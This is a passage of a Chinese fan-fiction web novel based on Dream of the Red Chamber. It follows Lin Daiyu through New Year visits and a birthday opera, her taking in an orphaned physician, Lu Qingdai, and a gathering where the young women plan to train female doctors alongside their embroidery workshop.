林海、贾赦均对此深恶痛绝,但他们都准备掺一脚,林海道,“听黛玉说,昭华公主去年出宫了。”
贾赦冷笑了下,“办了个慈幼院。去年黛玉她们报的溺婴案,派了一队钦差出去,后面都回来了,什么结果都没有。”
林海叹了声,为了黎民百姓。
纵陛下英明,可他备受掣肘,上有太上皇、下有皇子争位,近几年天灾又多,也不外乎京郊溺毙女婴的人那么多。
林海说道,“前几年江南情况还好,我们勉力维持,但那是江南本就富裕,底子厚,这几年也不行了。”
贾赦低声道,“百姓名不聊生,官员勾心斗角,呵呵。”
大楚见过不足百年,就已经走下坡路了;天灾不断,更是雪上加霜。
贾赦、林海对视一眼,他们也算同病相怜,父亲走于同一场风波,妻子也受牵连,都早早离开。
他们都想做些什么,只是还不确定方向。
说到底,无论做什么,他们现在都无能为力。
只能徐徐图之。
林海转了话题,“琏儿怎么安排?”
贾赦道,“琏儿在算学上有些天赋,打算先在国子监呆两年,后面去户部。”
林海点头,“也好,我后面应该会进户部,又需要说。”
贾母房里,黛玉几人和贾母逗着趣,王熙凤的月份已经大了,几个人不知怎的话题拐到孩子身上;王熙凤又调侃上黛玉和素心,羞的黛玉、素心想挠她,又顾忌这孩子不能挠,别提多难过了。
贾母一边喝茶、吃点心,一边笑着看他们闹。
不一会儿,丫鬟们请她们用膳。
几人前往膳厅,贾赦一行人已经等着了。
用膳后,贾母去休息了,黛玉和素心去王熙凤院子里坐了会儿,就和父亲回了家。
黛玉和素心约好开学前姐妹们在黛玉家聚一次,到时候给素心下帖子;素心又叮嘱黛玉,闲了来贾家玩,改日姐妹们聚聚。
27.第二十七章
黛玉回家,她初一夜救的姑娘醒了,要给她们道谢。
林海听了,只让黛玉处理,自己回了书房。
黛玉进去那姑娘住的房子,那姑娘陡然下床,跪在地上,磕头道,“谢谢姑娘救命之恩。”
黛玉道,“快起来,身体要紧,有话慢慢说。”
雪雁和乌兰赶紧搀起那姑娘,让她坐在床上。
黛玉也做到桌边,望着那姑娘,“你叫什么,发生了什么?”
那姑娘挣扎着又跪在地上,“我叫陆青黛,求姑娘帮我,我愿意为姑娘当牛做马!”
陆青黛一下一下地磕着头,磕的很响。
陆青黛第二次跪下,黛玉知她决心,没有拦她,只静静地看着她;丫鬟们没有得到示意,也没有拦。
慢慢地,陆青黛停了下来。
黛玉叹了口气,她不喜欢被人跪着,可大抵也知道些陆青黛的想法,示意丫鬟搀她坐下,道,“别轻易下跪,你先说发生了什么?”
丫鬟们搀着陆青黛半躺在床上,陆青黛一无所有,唯有心诚,缓缓道,“我从安阳府来,我家世代从医,家中父辈都在正心堂坐诊,活人无数。”她的声音陡然悲愤起来,“可好人没好报,去年九月初正心堂大火,所有人都死了。”
黛玉和丫鬟们的神色都凝重起来,肯定不是意外。要是意外,陆青黛不会凄惨的出现在这里。不过,她们也都没插话,静静地听着。
“其实,我知道也不多。只知道父亲从七月去给知府夫人看病开始就愁眉苦脸的,八月夫人的病有了起色,可九月夫人死了,我父亲也只回来一具尸体,只道庸医害死知府夫人。后来,我们还没来得及反应,正心堂就起了大火,那是我正好出去买丧葬物品,逃过一劫。我不信,正心堂从来人来人往,又要给病人熬药,最怕出意外,从小家里人都教我们防火,就怕万一着火,烧了药材,伤着病人。当我给家人收尸等的时候,有人来杀我,更让我确定不是意外。”
陆青黛感怀一笑,“碰巧曾经正心堂救过的病人听了消息来帮忙,救了我,又给我凑了些盘缠,让我赶紧跑,他们给正心堂上上下下收尸。官官相护,我知道在安阳找不到公道,所以历经艰苦来了京城,结果还是没有。”说道最后,只剩历经沧桑的悲哀,“要不是姑娘,想来我昨天活不下来了。”
黛玉听了拧眉,怕知府有问题,又或者有什么青黛不知道的事情;青黛经历的远不止这些,比如她一身的伤。
不过,黛玉也没问,只道,“你有证据吗?”
陆青黛道,“没有,只有人证,那些见我被追杀的病人。”
黛玉道,“你先养好身体,到时候我让管家带你去大理寺或刑部报案。”
陆青黛只道,如果她自己去,没有人会重视,加上林家就不一样了,“不论如何,谢过姑娘。”她思考了一会儿,后面的话还是问了出来,“如今,我陆家只剩我一人,唯有一身医术,姑娘可愿留下我?”
黛玉道,“你叫青黛,我叫黛玉,我们也算有缘,你先留着好好养伤,以后的事以后再说。”
青黛谢过,黛玉又叮嘱她好好休息,便离开去找林海了。
黛玉去找林海说了陆青黛时间的始末,又说承诺陆青黛恢复后,让管家陪她去大理寺或刑部报案。
林海听了赞黛玉处理的好,又道,“你王家大表叔在大理寺,明日去了我给他提一嘴。”又道,“我已经找管家查了,到时候有消息给你说。”
黛玉瞬间惊喜,撒娇道,“爹真好。”
过年期间,林海也没什么事,就留着黛玉下棋,父女俩一边聊天,一边下棋。
期间谈起昨日知道卫若兰要去参军的事情,林海听了由衷赞叹,“生子当如是。”
初三,黛玉随林海拜访了舅老爷家。
林海的母亲出身太原王氏,如今,几个舅舅都已致仕,回了太原老家,只大表兄王申在京,任大理寺卿,三子两女,女儿都已嫁人,大儿子中了举,老二、老三中了秀才,都还未出仕;其他的表弟都在外当官。
黛玉出入京也拜访过王家,王家夫人蒋芸很喜欢黛玉,让黛玉常过来玩,只是黛玉忙于学业、绣庄的事,还没再来过;这次拜访,早早根据蒋芸的喜好,让雪雁准备好礼物;又自己画了图,让绣娘修了套锦衣。
林海多年在外为官,与王申虽有书信往来,但到底多年未见。
这次,林家父女拜访,王家众人都很热切,早早在大厅等着。
王申先向林海介绍了自家几个儿子,忙让儿子过来见礼;林海拿出准备好的几份压岁钱递给几个表侄,又让随从送上表礼。
黛玉也忙向表叔、表婶拜年,王申、蒋芸拿出早已准备好的压岁钱递给黛玉;黛玉谢过,又与几位表兄互相见礼。
几人客气一阵,王申带着林海和几人儿子前往书房叙话。
蒋芸的两个女儿都早早嫁了,初见了黛玉就爱得不行,今儿个见了就拉过去看了又看,假意埋怨黛玉不过来玩,黛玉道恼,忙让雪雁奉上礼物。
蒋芸也知道黛玉住在贾家,不像自家方便,连叹黛玉有心;又拉着黛玉前往主院,道“可算把你盼来了,婶婶给你留了好东西,这就带你去看看。”
路上,黛玉细细解释这半年忙着上学,又说了绣庄的事情。
蒋芸听了连连赞赏,问了群芳绣庄的地址,说要把黛玉她们绣庄介绍给亲朋好友,帮她们把名气打出去。
黛玉连连谢过。
到了院子,蒋芸先把黛玉准备的东西给她,都是黛玉日常能用上的,很是精美;又贾敏不见了,细细问起黛玉的日常生活,细细叮嘱黛玉要平常要注意的,告知黛玉一些保养小技巧。
林海和王申父子谈的左不过朝政、孩子学业,没什么可注意的;又提了初一夜救了陆青黛的事,王申听了连叹荒唐。
王申在大理寺呆久了,也知道左不过谋财害命、贪图美色的那些事,又说,既然碰到了肯定要细细查过。
初三,林家父女拜访张家;初四,卫家;初五,陆家;初六蒋家……
有时,一日拜访一家;有时,一日几家;回家林海还得接待来访的有人。
忙忙碌碌,直至正月十三,林家父女才清闲下来。
正月十四,林家父女迎来一个好消息,皇帝身边的内侍传了圣旨,林海留京,任户部侍郎。
黛玉十分开心,父亲可以留在京里了。
亲朋好友得了消息,都送了贺礼过来了,黛玉在管家、梅染他们的帮助下,循着旧例回了礼。
黛玉又问林海,“父亲,要不要摆筵席庆祝一下?”
林海想着家里没人张罗,便道,“明日元宵,后日开衙,加上为父初到任,不好张扬,咱们父女私下庆祝就好。”
黛玉想着也是,又是一桩喜事,做主发了下人一个月月钱;又亲自下厨做了道汤。
黛玉做的当然不急厨子老道美味,但在林海眼里、嘴里,女儿做的就是最好的。
正月十五,林海和黛玉祭祀了林家父母和贾敏,林海想着过年了,黛玉也没怎么玩,也不好整日把孩子圈家里,“黛玉,今晚有灯会,和姑苏、扬州的不一样,你今年第一次上京,要不要约姐妹去看看?”
黛玉听了也心动,还没看过京城的元宵灯会,但还是犹豫道,“爹爹怎么办?”
林海道,“我们爷俩吃个团圆饭,你出去看灯会,爹和你大舅舅他们一起去喝茶。”
黛玉听了放心了,“那我问问阿阅和素心姐姐他们去不?”
黛玉打发雪雁他们去贾家、张家问,贾家那边素心说要陪贾母和姐妹们在家看;张阅说晚上来接黛玉,堂兄张阐和弟弟张闻陪她们。
丫鬟来回话的时候,黛玉正和林海聊天,林海赶忙让黛玉回去收拾,黛玉行礼告退。
黛玉回去后,选了一套红色绣桃花的衣裳,披了一个孔雀毛的披风。
酉时初,林家父女就开始用晚膳。
戌时,张家兄妹来接黛玉,林海吩咐护卫跟着,又嘱咐黛玉她们小心,才放他们离开。
黛玉离开后,林海也带着随从离开,前往“最味轩。”
贾赦、张衡、王申、卫升(卫国公)几人已经到了。
难得佳节,几人倒也没有过多谈公事,先贺过林海,推杯换盏间,谈起过往,谈起儿女,都满心惆怅。
卫升对儿子卫若兰要参军的事情很是烦恼,贾赦几人劝了劝,说孩子有志气,好好和孩子说云云。
卫升也不是为了得到解决办法,只是想要发发牢骚。
黛玉几人到了灯会上 ,人来人往,和江南的很不一样。
若南方元宵灯会占诗情画意、雅致风流多些,那北方的灯会占鲜艳热闹、富贵奢华多一些。
几人从灯会这头逛到那头,黛玉和张阅走在前面,张家兄弟和丫鬟们跟在后面。
逛完后,黛玉和张阅找了个人少的河边放了灯,黛玉没有写什么文采风流的寄语,只直白的写了“母亲安乐,一切顺遂”,直白的了自己一腔真意;张阅写的更直白,“亲人平安,早日事成。”
蒋易、陆沅、孙芷、卫若竹她们也出来逛灯会了,不巧的是,她们没有遇到。
楚楠、楚柠、宋静几个到没有出来,她们都进宫赴宴。
几个人都玩的很开心,张家兄妹先送黛玉一行回了林家,才回家,到家时快子时了,被长辈唠叨一通。
黛玉倒没这烦恼,林海还未回家。
正月十六,黛玉难得睡了个懒觉。
林海已经前去上衙,家里只剩黛玉一人。
已近晌午,快到午膳时间了,黛玉梳洗后,索性让丫鬟早早传膳。
用完膳,黛玉在院子走了走,打算忖度忖度哪里适合设宴,准备正月二十五邀请姐妹们来家里玩。
黛玉想着姐妹们都忙了半个多月,得休息几日;加上二月初一开学,正月二十五不早不晚,刚刚好好。
黛玉选好宴会地点,吩咐管家带人准备;自己回去给姐妹们写帖子,谁知道帖子刚写好,还没发出去,贾家的帖子的就来了,邀请黛玉正月二十一日参加宝钗生日宴。
黛玉也想姐妹们了,想着晚上和父亲商量下,早去几日,陪陪外祖母,和姐妹们玩玩。
留下给贾家姐妹的帖子,准备到时候亲自送;别家的都让下人尽快送出去,姑娘们都欣然应允。
定了主意,黛玉看天色还早,便想着去看看陆青黛。
黛玉去的时候,陆青黛还在床上。
陆青黛气色好了许多,只是伤重,还需养些时日。
黛玉知道陆青黛心急,安慰道,“家父已经安排人去查了,别急,待身体养好点再去。”
陆青黛也知黛玉好意,谢过黛玉,言只要能得公道,早晚都可以。
黛玉陪陆青黛聊了一会儿,陆青黛也读过书,只是更擅长医术;黛玉早年生病,久病成医,也了解些医理,两人聊得还算投缘。
黛玉看快到父亲下衙时间才离开。
林海回了,父女二人用了餐。
黛玉说了贾家请帖,想去外祖家住两天,又说想要请女学的姐妹们
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来家里玩。
林海高度赞同,“好,需要什么让管家帮你张罗。”想了想贾家请帖的时间,“你明日收拾下行礼,后日为父上衙的时候送你过去,待二十一号下衙接你回来。”
黛玉开心谢过父亲。
黛玉去贾家的时候,湘云也在贾府做客。
姐妹几个陪着贾母说说笑笑,说起过年走亲的趣事,很是和乐;黛玉又说了二十五设宴的事,撒娇让贾母也去,贾母听了很是开心,道,“我老了,就不去了。你们姐妹玩的开心就好,你呀,多来陪外祖母就好。”
姑娘们听了贾母的应允都很开心,连道贾母一点都不老,黛玉靠着贾母道,“一定常来。”
贾母被孙女们逗得脸上都笑出褶了。
过年期间,大人们都忙着,也没人拘着宝玉读书,宝玉犹如老鼠进了米缸,整天跟着姑娘们掺和,张罗着办诗会,姐妹们各展其才,十分尽兴;中间宝玉还闹了不少笑话,把姑娘们逗得十分开心。
王熙凤月份已经大了,不能掺和;贾琏又已经去了国子监,一个人很是寂寞,黛玉和素心便常去陪她。
薛家借住在贾家,也不方便办笄礼。
贾母素日疼姑娘们,宝钗也在跟前带了几年,有些情分。
恰逢宝钗十五岁生辰,及笄之年,算大日子,贾母便拿了二十两银子,给宝钗过个生辰。
王熙凤怀孕不便,王夫人管家忙碌,宝钗生日便交给李纨张罗。
李纨求了几位姑娘出主意,在贾母院子搭了个小戏台,叫家里养着的小戏子们排了几出戏,昆曲、弋阳调各色曲目都有;又选了宝钗喜欢的菜品,整了几桌筵席,一家热闹热闹。
时间一晃,就到了正月二十一。
姑娘们一早带着准备好的礼物,到贾母院子,陪着用膳。
用完膳,姑娘们聚在荣庆堂厅里陪着贾母玩笑,王夫人、邢夫人、薛姨妈也到了,给送了宝钗礼物,姑娘们也顺势送上礼物,探春是自己写的一幅字和几色针线,迎春是一副棋谱,贾琋是一副自己作的祝寿画,黛玉是一副镯子,宝钗一一谢过。
不一会儿,丫鬟进来传话,戏台戏子都准备好,来请贾母、太太和姑娘们。
第一出戏是《麻姑献寿》,贺宝钗生辰。
第二出,贾母让宝钗点,宝钗推辞,无法,想了想,点了一折《西游记》。
贾母听了,十分欢喜。
第三出是王熙凤点的,王熙凤知贾母喜欢热闹,便点了一出《刘二当衣》。
第四出贾母让黛玉点,黛玉推辞,让邢夫人她们点,长辈们只让姑娘们玩,黛玉只得点了。
后面,宝玉、湘云、素心、探春、琋琋、李纨一一点了。
到了中午酒席时,贾母又让宝钗点,宝钗点了《鲁智深醉闹五台山》,宝玉不满,几人一直从戏说到禅机,倒也热闹。
黛玉调侃宝玉道,“快看,还未到《山门》,他便开始《妆疯》了。”
大家都笑了,宝玉笑也不是,恼也不是,只好安静看戏。
下午,贾母放姑娘们自去玩。
到了晚宴结束,贾母觉得小旦、小丑戏好,越看越喜欢,便她们进来见见。
细看更见可怜,细问才知,那小丑才九岁,小旦十一岁。
大家看了可怜,满心叹惋,分了果子点心给她们,又赏了两吊钱给她们。
贾母指着小旦和小丑道,“我看她们面善,便放了她们身契,再给些赏钱,让她们出去好好生活。”
黛玉紧接着道,“我那有个绣庄,招绣娘,你们要是愿意,待身契办好了,就找二姑娘,到时候让她送你们去绣庄学刺绣。”
小旦和小丑听了黛玉和贾母的话,跪下连连叩首谢恩,黛玉忙示意丫鬟们扶起她们。
众人都知,贾母是见她们有几分黛玉的气韵,才爱屋及乌,也没人多言,只是一笑。
湘云心直口快道,“我看像林姐姐的样,怪不得觉得面善呢。”
湘云话落,席间气氛一静,宝玉忙向湘云使眼色。
贾母神色暗了一瞬,立马恢复;邢王薛几位夫人只是一笑。
这时,外面传来丫鬟的通报,“老太太,林姑爷来接林姑娘了,道时间晚了就不来打扰您了,改日休沐过来给您请安。”
黛玉身边的逢春听了丫鬟的话,忙悄悄退出去,收拾东西。
贾母想着晚上了,林海上值一天也累了,便也没什么,只依依不舍的叮嘱黛玉,回去要好好休息,多来玩。
黛玉也舍不得贾母,道开学前再来看贾母,又向众人行礼告辞,带着雪雁离开。
黛玉出来的时候,逢春已经带着行李在车前候着。
逢春一出来见了林海,便十分气愤地把把湘云说两个戏子像黛玉的事说了。
林海听了十分生气,他也不觉得戏子如何低贱,只是把世家贵女比作戏子十分冒犯。
黛玉出来的时候听着逢春已经说道宝玉给湘云使眼色了,黛玉呵斥了一声,逢春瞬间听下。
黛玉并未觉得如何,也没当回事。
黛玉见识了女子生活的艰难,并不觉得自己比戏子高贵几分,她们也都是可怜人,身不由己;只是她来的时候,逢春已经说完了。
黛玉看林海生气,劝了劝,转话题说起这几天的经历;林海慢慢平息了怒火,也向黛玉说起了这几日的经历,又拿朝廷上的事情考起黛玉,一问一答,十分和乐。
林海也不能对一个小姑娘如何,只是到底生气史湘云对女儿的冒犯,便吩咐林管家去查史家和史湘云。
28.第二十八夜
林家上下忙碌几天,时间终于转到了正月二十五。
黛玉早早起来,打扮妥当后,来来去去吩咐丫鬟们看地方是否准备妥当。
陆青黛身体已经大体恢复,二十三日在林管家的陪伴下去大理寺报了官,大理寺官员道过两日派人前往安阳查案,要陆青黛耐心等待,青黛也倒算到时候随查案官员回安阳祭奠父母,暂时还住在林府。
黛玉早早告诉了青黛了今日宴客,邀青黛一起玩。
青黛想着麻烦黛玉许多,早早过来帮忙。
黛玉看见后,赶忙叫她过来坐下,“青黛,怎么来的这么早?”
青黛上前坐在黛玉旁边,道,“想着过来给你帮忙,有我能做的尽管吩咐。”
黛玉道,“都准备好了,你该好好休息。”
青黛道,“现在好多了,正该活动活动,放心,我自己就是大夫。”
黛玉听了没说什么,叮嘱道,“回去后一切小心,结束后你怎么打算?”
青黛道,“如今陆家只剩我,我想把正心堂传下来。”
黛玉听了问,“你打算留在安阳?”
青黛道,“不,姑娘救了我,我想跟着姑娘。”
黛玉道,“我只是举手之劳,不需要你报答,去做你想做的事,以后若有余力,也帮帮她人。”
青黛道,“医者本分,我会的。不过姑娘考虑下,正心堂可以开在任何地方。”
青黛承诺道,“若姑娘需要大夫,青黛随时恭候。”
黛玉想着青黛孤身一身不容易,便道,“好,那安阳事了,你就来京城找我。希望你此行一切顺利。”
两人转移话题,又谈起诗书、过去未来和今天的宴会。
天气晴好,黛玉打算在梅院设宴,湖上结冰,有姐妹感兴趣还可以玩冰嬉。
不到巳时,姑娘们就已经齐聚林家梅院。
梅院没有围墙,一面围着栅栏,走进栅栏,四周错落的栽种着各种梅树,如今,梅花开的正盛,白的、黄的、红的、粉的、紫的……交相辉映,成一副优美的画。
透过梅花可以看到院子中间不规则的湖,有桥通往湖心,湖中央搭了一排茅草屋,湖水结成厚厚的冰,衬的茅草屋十分寒冷。
黛玉特意吩咐丫鬟早早在屋里生了火盆。
为了让姐妹们好好玩,黛玉还让管家带着下人院子中间挂了彩带、花灯、谜语,摆了写字画画的大桌子,设了箭靶,零散地摆着琴、棋、茶具、插花工具、投壶工具……
不过,姑娘们来的太早,太阳还打着盹,寒气还在肆虐,姑娘们看着各色好玩的,只能坐在茅草屋里望洋兴叹。
湘云已经回了史家,只宝钗跟着贾家姐妹来了。
早先林海查了史家和史湘云,史家人多,较别人家简朴许多,史家两位侯爷在朝堂也进退有度。
史家虽银钱上紧张但也没有荒废孩子的教育,诗书礼仪所有孩子们一起学,也没因为史湘云没有父母苛待过,甚至待她好些,让她常去贾家放松,带她外出交际,结果还和贾家丫鬟抱怨叔婶。
林海拿到后也没了对史家怎样的想法,只是让下人把湘云抱怨叔婶的话传入史家夫人耳中。
黛玉去贾家难免要与史湘云打交道,但林海不欲黛玉与她深交,又不想干预黛玉交际,只让下人把查到东西给黛玉,又让丫鬟传话一切由黛玉做主。
黛玉本未觉得如何,还因为失去母亲,觉得与湘云同病相连,可看着湘云连照顾她的叔婶都抱怨,未免有些不知恩。
黛玉想着那天的湘云说的是事实,别人都看出来了,只是湘云心直口快说出来了,倒也没什么;只是别人对她好,她可以不感恩,但妄自菲薄就是不对了,心里熄灭了要与她深交的想法。
黛玉介绍探春、宝钗、陆青黛和姐妹们认识,姑娘们都很客气。
黛玉招呼着姐妹们喝茶、吃果、吃点心,又向楚楠她们介绍陆青黛,又说了陆青黛的经历,姑娘们听了都很钦佩。
姑娘们交流着正月走亲戚时遇到的趣事。
有一个不知道算好消息还是坏消息的消息,正月二十日,陛下下旨,赐婚卫若竹与三皇子楚檀。
卫若竹早先提过嫁个皇子,缓缓图谋,为女子争条活路,可后来和楚楠、黛玉几个商量过,又放弃了,打算扶持昭华公主楚榕。
姑娘们替卫若竹开心,也替她担心。
唯独黛玉、楚楠听了不知如何是好,这一下打乱她们的计划。
楚檀是楚楠堂兄,楚楠还算了解他,不是坏人,也不风流,只是身在皇家,谁知道权力的漩涡中他会变成什么样?他会对若竹好吗?若竹能过的好吗?若竹该怎么办?
黛玉知道世事难随人愿,可还是不由为卫若竹难过,难过她身不由己地嫁给一个不熟悉的人?
若竹看着姐妹的表情,知道她们为她担心,道,“别担心,我会好好的。”
皇上虽问过她父母的意愿,可她又没定亲,父母总不能拒绝皇上提亲。
如今,她只能认命。所幸,她没有喜欢的人,以后走一步,算一步。
姑娘们哪能不担心,黛玉问道,“那若竹姐姐以后打算怎么办?”
其他姑娘们也眼巴巴
卫若竹道,“和姐妹们把群芳绣庄办好办大,以后怎么着也是个王妃,姐姐给你们撑腰。至于三皇子,他待我好,我也能待他好。”
卫若竹隐去一句话没说,“若他不好我便休。”
卫若竹已经打定主意,她是女子,若楚榕争,她自然占楚榕;只是,楚榕失败了,她也要给姐妹们争个后路。
几个姑娘听着若竹还能开玩笑,也跟着笑了,笑着以后有事就找若竹姐姐撑腰了,黛玉、孙芷几个促狭的还有模有样行了礼,把众人都看笑了。
沉重的气氛过去,姑娘们都笑起来,说起来年的计划。
黛玉说起青黛以后要重办正心堂,楚楠想起从小到大见到的、听到的因难产而死的夫人,她们这样的人家都那么多难产死亡的,那平民百姓家的女子是不是更惨,不由道,“陆姑娘,我们绣庄培养绣娘,为妇女提供生路;你会医,愿不愿意交女孩子学医?”
楚楠话音刚落,姑娘们都懂了楚楠的想法,但她们也知道有些人家医术不外传,只是期待的看向陆青黛。
青黛不懂,疑惑的看向黛玉。
黛玉看着青黛的眼神,从头解释道,“去年我们救了孩子被溺死的秀娘,也见了从小田里、家里忙的女孩,见了为了一点彩礼被卖的女孩,女孩们一生不由自己。我们想帮帮她们,办了群芳绣庄,有难处的姑娘可以来庄里学刺绣,以后在庄里干活,有个出路,就不用被活活磋磨。绣庄赚了钱,也能帮更多的妇女孩子。”
青黛听了眼泪涟涟,不断点头。
“让你教女孩学医,是为了培养医女,医女再培养医女,就会有无数医女,为女子看病,以后难产死的女子就会少很多,女子就有救了,活下来的机会就多了。”
青黛听了,想她现在除了医术一无所有,姑娘需要,又可以帮助别人,还能把陆家医术发扬光大,自然没有不同意的,毫不犹豫的点头,“我愿意,我跟着姑娘做。”又犹豫地问,“不过以后医管可以叫正心堂吗?我想把正心堂传下去。”
楚楠道,“没问题。”
青黛也干脆,下定决定就想后续安排,道,“待我从安阳回来,就可以开始教,你们可以先找人,我这段时间也想想都教什么?”
青黛又问道,“只给妇女看病吗?”
楚楠道,“现在大夫多是男子,男子不缺大夫看。我们主要针对女子,孩子也行。”
青黛点头,“我知道,我一定好好教。”
黛玉几个也开心,看着她们说着越来越起劲,黛玉道,“快别说了,今日姐妹们好好放松放松,之后有的忙。”
姐妹们说笑一阵。
太阳已经彻底醒了,阳光洒满大地,姑娘们携手走向院子,享受着阳光的抚摸。
看着外面准备的各项玩乐措施,素心叫上李思走向棋桌,两人专心致志的下起棋,探春、宝钗和姑娘们虽认识了,到底不是很熟,结伴赏了会灯,猜了会谜语,就回来看素心她们下棋,几个姑娘一边下棋观棋,一边聊天,具是学识渊博之辈,相谈甚欢。
琋琋看见黛玉准备的画具,来着楚柠去画梅了。
沈安抓着宋静、杨梧、黛玉、楚楠、卫若竹、张阅几个去玩射箭、投壶了,青黛和别人都不熟,便也跟着黛玉她们一起去投壶了。
陆沅看着有琴,便去弹琴,蒋易和孙芷一边泡茶,一边尚琴。
陆沅弹着谈起了十面埋伏,沈安刚好射箭没了趣味,便捡起一根树枝,舞其剑来。
姑娘们看到动静都停了下来,连连叫好。
宋静、杨梧完了一会投壶,便不想玩了,坐一边调香玩。
姑娘们观了沈安的剑舞,不由提议,“如此美景,不如一舞?姐妹们来一曲?”
姑娘们道,“黛玉妹妹是东道主,黛玉来一曲。”
张阅道,“秀一个,我来给
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你伴奏。”
黛玉笑道,“行,我先来,姐妹们可要准备好了。要是跳不好,我可不依。”
姑娘们连让黛玉放心。
黛玉、张阅对视一眼,张阅手指一拨,《梅花三弄》乐响,黛玉随音乐翩翩起舞,伴上梅花飘飞,如仙子下凡,姑娘们都看呆了。
一曲结束,黛玉香汗淋漓。
丫鬟怕黛玉着凉,赶紧给黛玉披上披风。
楚楠笑道,“没想到妹妹还有这一手,今日可算饱了眼福。”
黛玉调侃道,“这不是有机会就给姐姐看了嘛,不知道姐姐能否让饱饱眼福啊?”
楚楠道,“姐姐还真会。”
若竹自告奋勇伴奏,问楚楠要跳什么,楚楠也学过琴,走到桌旁写了一个乐谱出来,是她曾经的世界流行过的歌曲《奢香夫人》。
卫若竹熟悉了一下乐谱,弹了起来,楚楠随之起舞,边跳边唱,只是舞蹈不似黛玉的《梅花三弄》优雅飘逸,不似沈安的剑舞飒爽,但确实一种别致的利落有趣。
姑娘们虽然没看懂,依旧鼓掌。
楚楠道,“这曲词和舞蹈是我曾见别人跳过的,怎么样?”
黛玉道,“很特别。”
楚楠问,“姐妹可有兴趣学?姐妹们跳起来。”
楚楠一说,姑娘们欣然响应。
若竹依旧伴奏,姑娘们都跟着楚楠跳起来,载歌载舞,很是快乐;探春、宝钗也跟着一起跳。
不过探春很投入,宝钗有些不自在,渐渐地也融入其中,觉得有种挣脱束缚的快感,可一曲结束,她还是平日的薛宝钗。
黛玉跳了一会儿,有些累了,便换下卫若竹,自己弹琴伴奏,让若竹跟着跳。
姑娘们跳着跳着,天空突然飘起雪花。
在丫鬟们的催促下,姑娘们停下,漫步回了草屋;丫鬟们也拿起院里的琴、棋、画等物品进了屋子。
姑娘们爬在窗口前,看着外面的景色,梅花映雪,很是美好。
黛玉、张阅早年长在姑苏,很少见到大雪,很是稀奇。
刚都不想进来,丫鬟们劝了又劝才进来,目不转睛的盯着窗外的雪景。
黛玉看了一会,看向旁边的楚楠,“楠姐姐,今天这舞有趣,你从哪学的啊?”
楚楠道,“早先梦里学的,还有别的,有机会教你们。”
黛玉道,“好啊。”
黛玉又转身看向各位姐妹,叹道“姐妹们,你们说,今日是天公作美,还是不作美呢?”
张阅道,“当然是天公作美,如此美景,姐妹相聚,多好啊!”
楚楠道,“本来还想着下午我们去看绣庄看看。”
黛玉想了,也遗憾,说起绣庄的状况,道,“去年来的妇女都来了。不过有姑娘家人不让姑娘来,有大姐婆家想换家里姑娘来,秀娘她们带着一家一家去做工作,才让她们都回来。”
楚楠叹,“任重道远啊。”
姑娘们也曾听过,都很生气,很不忿。
她们不懂为什么那些大姐的婆家能理所当然的把大姐们的谋生机会据为己有,要把她们困在家里;为什么有的父母宁愿让女儿嫁人换彩礼,也不愿让女儿学刺绣,以后有个好点的出路?
她们开始担心,她们以后会不会也要面对这样的事情?
她们开始害怕婚姻。
宝钗不懂,黛玉为什么会这么说,她认为女孩子嫁人、打理家务、劝谏夫君上进就行,女子嫁人、孝顺父母公婆都是本分,都是应该的。
不过,宝钗知道一群贵女,她说不上话,便没出言。
黛玉看着姐妹们低沉起来道,“别怕,未来会好的。”
楚楠道,“事在人为,以后可要好好学习啊。”
姑娘们听了,都下定决心,明年要更用功些。
转而,说起开学的事情,楚楠提起要制定一个学习计划,时间不多了,要尽快完成学业。
探春听得兴致勃勃,恨不得是其中一员。
说着,丫鬟们过来送了膳食过来。
下雪了,厨房准备的暖锅,姑娘们围成两桌,边吃边说,很是开心。
用完膳后,雪下的越来越大,姑娘们害怕回不去了,纷纷告辞离开,约好天晴了去一趟绣庄,或者开学后找时间去一趟。
黛玉一一送她们出去。
探春、宝钗、贾琋、张阅并未回去,黛玉派随从给贾家和张家递了信,说雪大了,留她们住两天。
几人去了黛玉院子,围坐在暖炕上赏雪聊天。
29.第二十九夜
早先,探春不能去女学读书,素心、黛玉想着休沐回家教探春;可十日休一天,她们偶尔还要去林家教绣娘们,时间不够,只能把记得学习笔记给探春看。
不过姐妹闲聊间,黛玉、素心也常常给探春讲女学和绣庄的事情,探春很是神往;只是,她出不去,只能给绣庄画些花样,尽自己的一份力。
探春想,有朝一日,她也想能出去,一定要干出一番事业,哪怕没有锦衣玉食,她也不怕。
黛玉、张阅聊起女学和绣庄的事,探春恨不得自己也是她们的一兴致勃勃的给黛玉她们出主意,黛玉道,“三妹妹好想法,若三妹妹能出来管事,指定能把绣庄发扬光大。”
探春有些高兴,又有些害羞,“我和各位姐姐们差远了。”
素心道,“三妹妹快别妄自菲薄,我知道妹妹志向,只是……”
素心的话没说完,探春也懂,情绪更见低落。
张阅听了道,“妹妹别担心,我相信妹妹不会一直困于闺阁。”
黛玉想,这次三妹妹才和姐妹们认识,下次可以和郡主姐姐她们商量商量,看要不要让三妹妹也参与进来。
探春道,“那就借你们吉言。”
宝钗听着她们越来越不像话,只是她和黛玉她们相交不深,也不能贸然出言想劝,想着待回去劝劝探春。
探春的事,多言无益,她们也改变不了二舅舅和舅母的想法,只能默默帮助探春,给她说说外面的事情,带些外面的好玩的,教她女学的知识。
黛玉几人又和陆青黛聊起培养医女的事,陆青黛道,“我刚想了想,如果想教医女,哪怕学徒有一些基础,也需要很久,毕竟,如果学艺不精,是要人命的事情。”
张阅听了皱眉,救人的事情当然越快越好,“有没有快点的办法?”
素心也道,“这也急不来。”
黛玉问,“基础,要学医的基础吗?是要她们认识草药吗?还是要她们识字?”
青黛听了,脸色有些惆怅,“杏林世家大都传男不传女,我家父亲就教我的,我这身医术开始还是偷着学的。后来,我父亲看天赋实在出众,才开始教我;可我的兄弟、堂兄弟们却从小就能开始学。”说道最后她有些哽咽,“现在要感谢当年偷摸学医的我,不然我陆家医术就失传了。所以,找有学医基础的女子很难。但我一人有限。第一批学员起码要识字,或者认识草药。”
黛玉道,“这简单,到时候我身边丫鬟愿意的你尽管挑,也是给她们个出路。”
张阅道,“我也行。到时候郡主她们应该也能找些人过来。”
素心道,“我这也行。”
青黛道,“那就好。”
黛玉思考了一下,“等第一批女徒教出来,后面的事情就好开展了。到时候你可以整理一下妇女、孩子身上比较难处理的病症,然后一类培养几个医女,让她们再教徒弟,是不是能快一点?”
青黛道,“姑娘好主意。这样她们就不用全学会,就会快很多。”
张阅补充道,“可以先只学一类,但后面其他的也要涉猎一些,起码能简单处理,拖到大夫来;不然遇到了总不能把病人晾着,到时候耽搁了。”
黛玉道,“阅姐姐思虑周全,过几天姐妹再讨论讨论。”
张阅道,“好,我们也想想。希望雪早点晴。”
